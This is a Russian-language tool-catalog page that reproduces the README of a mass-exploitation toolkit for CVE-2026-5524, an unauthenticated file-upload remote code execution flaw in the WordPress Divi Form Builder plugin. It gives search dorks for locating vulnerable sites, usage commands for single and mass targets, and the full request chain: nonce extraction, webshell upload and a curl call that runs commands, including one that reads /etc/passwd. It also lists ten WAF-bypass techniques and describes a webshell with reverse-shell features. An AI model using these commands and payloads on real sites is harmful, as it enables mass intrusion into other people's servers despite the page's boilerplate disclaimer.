Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5524-PoC — Python-тулкит для массовой эксплуатации CVE-2026-5524 — неаутентифицированной RCE через загрузку файлов в плагине WordPress Divi Form Builder, с загрузкой веб-шелла и выполнением команд. | Kitploit
Инструменты/GitHubGitHub/iicaicai/cve-2026-5524-poc
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииОбход WAFВеб-безопасностьТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиТроян Удаленного Доступа
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
iicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

Python-тулкит для массовой эксплуатации CVE-2026-5524 — неаутентифицированной RCE через загрузку файлов в плагине WordPress Divi Form Builder, с загрузкой веб-шелла и выполнением команд.

Репозиторий
Поделиться

CVE-2026-5524 — Неаутентифицированный RCE в Divi Form Builder

Массовый эксплойт-тулкит для CVE-2026-5524 — уязвимости неаутентифицированной загрузки произвольных файлов в WordPress-плагине Divi Form Builder <= 5.1.8, приводящей к удалённому выполнению кода.

version Devon Aji python telegram

ПолеЗначение
CVE2026-5524
CVSS9.8 (Критический)
ВекторAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ЗатронутоDivi Form Builder <= 5.1.8
Исправлено5.1.9
ТипНеаутентифицированная загрузка файлов с переходом в RCE
Исследователь0xd4rk5id3 - EnvoraSec

Содержание

  • Описание
  • Дорки
  • Установка
  • Использование
    • Одиночная цель
    • Массовый эксплойт
    • Продвинутый обход
    • Выполнение команд
  • Детали уязвимости
  • Техники обхода
  • Технологический стек
  • Структура проекта
  • Сценарий атаки
  • Отказ от ответственности

Описание

Плагин Divi Form Builder для WordPress содержит уязвимость неаутентифицированной загрузки произвольных файлов. Обработчик do_image_upload() передаёт контролируемый пользователем POST-параметр acceptFileTypes напрямую в регулярное выражение, используемое для проверки расширений файлов. Указав значение вроде phtml, атакующий может обойти правило .htaccess плагина, которое блокирует только расширение .php, и загрузить веб-шелл с расширением, исполняемым PHP (.phtml, .phar, .php5, .php7 и аналогичные).

После того как файл оказывается в /wp-content/uploads/de_fb_uploads/, Apache исполняет его как PHP, предоставляя атакующему удалённое выполнение кода от имени пользователя веб-сервера.

Проблема исправлена в Divi Form Builder 5.1.9.


Дорки

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

Установка

Требования: Python 3.8 или новее на Linux, macOS или WSL.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Использование

Одиночная цель

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

Массовый эксплойт

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Продвинутый обход

Для целей за WAF (NinjaFirewall, Wordfence, ModSecurity) или с усиленной конфигурацией Apache или nginx.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Выполнение команд

После успешной загрузки скрипт может немедленно выполнить команду или перейти в интерактивную оболочку.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Флаги


Детали уязвимости

Уязвимый код

Уязвимый обработчик строит регулярное выражение из пользовательского ввода без санитизации.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Отправив acceptFileTypes=phtml, получаем регулярное выражение /\.(phtml)$/i, которое соответствует именам файлов, оканчивающимся на .phtml, хотя собственный файл .htaccess плагина блокирует только расширение .php. Затем Apache исполняет загруженный файл как PHP, что приводит к удалённому выполнению кода.

Подтверждённая цепочка атаки

  1. Обойти страницу, содержащую форму Divi Form Builder (/, /contact, /quote и т. д.). Добавить параметр ?nocache=<random>, чтобы обойти Varnish, WP Rocket и другие кэши страниц, которые иначе отдали бы устаревший nonce.

  2. Извлечь значение fb_nonce из локализованного JavaScript-объекта:

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
    
  3. Отправить POST-запрос multipart-формы на /wp-admin/admin-ajax.php с:

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Прочитать URL файла из JSON-ответа:

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Запросить шелл с командой в base64:

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Техники обхода

Скрипт пробует каждую технику в порядке приоритета и, когда установлен --aggressive, пытается применить каждую, даже если первая загрузка сообщила об успехе.


Технологический стек

Скрипт эксплойта

Пользовательский шелл (bypass.phtml)


Структура проекта

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

Сценарий атаки

root@kitploit:~
+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

Отказ от ответственности

Этот инструмент предоставлен в образовательных целях и для использования в рамках авторизованных тестирований на проникновение. Примеры допустимого использования включают:

  • Программы bug bounty, которые явно разрешают тестирование цели
  • Соревнования Capture the Flag и специальные лабораторные среды
  • Внутренние оценки безопасности с письменного разрешения владельца актива
  • Академические исследования безопасности, проводимые в контролируемой среде

Неавторизованное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, незаконно практически в любой юрисдикции и строго запрещено. Автор не одобряет и не несёт ответственности за неправомерное использование этого кода.

J'ai la permission et je suis autorisé à effectuer ce pentest. (У меня есть разрешение, и я уполномочен выполнять этот пентест.)

К вероятно применимым законам относятся индонезийский UU ITE, Закон США о компьютерном мошенничестве и злоупотреблениях, Конвенция Европейского союза о киберпреступности и аналогичное законодательство в других странах. В случае сомнений сначала получите письменное разрешение.


Лицензия

Только для образовательного использования. Полные условия использования см. в разделе об отказе от ответственности.

Скачать инструмент
ФлагОписание
-u URLURL одиночной цели
-l FILEФайл со списком целей, по одному URL на строку
-t NКоличество параллельных потоков (по умолчанию 10)
--timeout NТаймаут запроса в секундах (по умолчанию 15)
-o FILEСохранить результаты в выходной файл JSONL
--proxy URLНаправлять трафик через HTTP-прокси
--nonce HASHИспользовать вручную указанный nonce, пропустить автоопределение
--ext EXTПринудительно использовать одно расширение вместо полного списка обхода
--shellПерейти в интерактивную RCE-оболочку при успехе (только для одиночной цели)
--cmd CMDВыполнить одну команду на цели и выйти
--shell-file FILEЗагрузить пользовательский шелл-пейлоад вместо встроенного
--no-verifyПропустить этап проверки RCE после загрузки
--strict-verifyПодтвердить, что URL шелла возвращает HTTP 200, для фильтрации ложных срабатываний
--user-iniЗагрузить дроппер .user.ini для окружений PHP-FPM
--htaccessЗагрузить повторно включающий .htaccess для окружений Apache
--aggressiveВключить все доступные техники обхода
--null-byteВключить попытки с нулевым байтом и двойным расширением
--path-traversalПопытаться загрузить в подкаталоги /uploads/YYYY/MM/
--debugВыводить необработанные HTTP-ответы для диагностики
#ТехникаЦели
1Альтернативные расширения PHP .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlПравило .htaccess плагина, блокирующее только .php
2Вариации регистра .PHTML, .PHP5, .PhTmLРегистрозависимые сигнатуры WAF (NinjaFirewall)
3Двойное расширение .phtml.jpg, .php.jpgОсобенности согласования содержимого Apache mod_mime
4Нулевой байт .php%00.jpg, .phtml%00.txtСтарые версии PHP (ниже 5.3.4) и некоторые парсеры
5Завершающий пробел или точка .php , .php.Windows IIS и старые версии Apache
6Подмена Content-Type application/octet-streamWAF, ориентированные на заголовок Content-Type multipart
7Загрузка настоящего .htaccess, повторно включающего PHP для .gif, .png, .jpg, .txt, .html и т. д.Apache-серверы с AllowOverride All
8Загрузка .user.ini с auto_prepend_fileОкружения PHP-FPM
9Инъекция имени файла через манипуляцию границей multipartПрокси и WAF, повторно разбирающие тело запроса
10Обход пути ../shell.phtml в имени файлаОграничения каталога плагина
КомпонентТехнология
ЯзыкPython 3.8+
HTTP-клиентrequests
Обработка TLSurllib3 в небезопасном режиме для самоподписанных сертификатов
Параллелизмconcurrent.futures.ThreadPoolExecutor для массового сканирования
Парсингre для извлечения nonce, json для обработки ответов
Кодированиеbase64 для параметра команды веб-шелла
CLIargparse с 19 настраиваемыми флагами
КомпонентТехнология
ЯзыкPHP 7.0+
Функции выполненияsystem(), shell_exec(), proc_open(), passthru(), popen()
ИнтерфейсПростая HTML-форма, без JavaScript-фреймворка
ВозможностиФайловый браузер, выполнение команд, доступ к базе данных, обратная оболочка, самоустанавливающиеся .htaccess и .user.ini
РазмерПриблизительно 16 КБ
Уровни обходаШесть независимых путей выполнения плюс закодированные пейлоады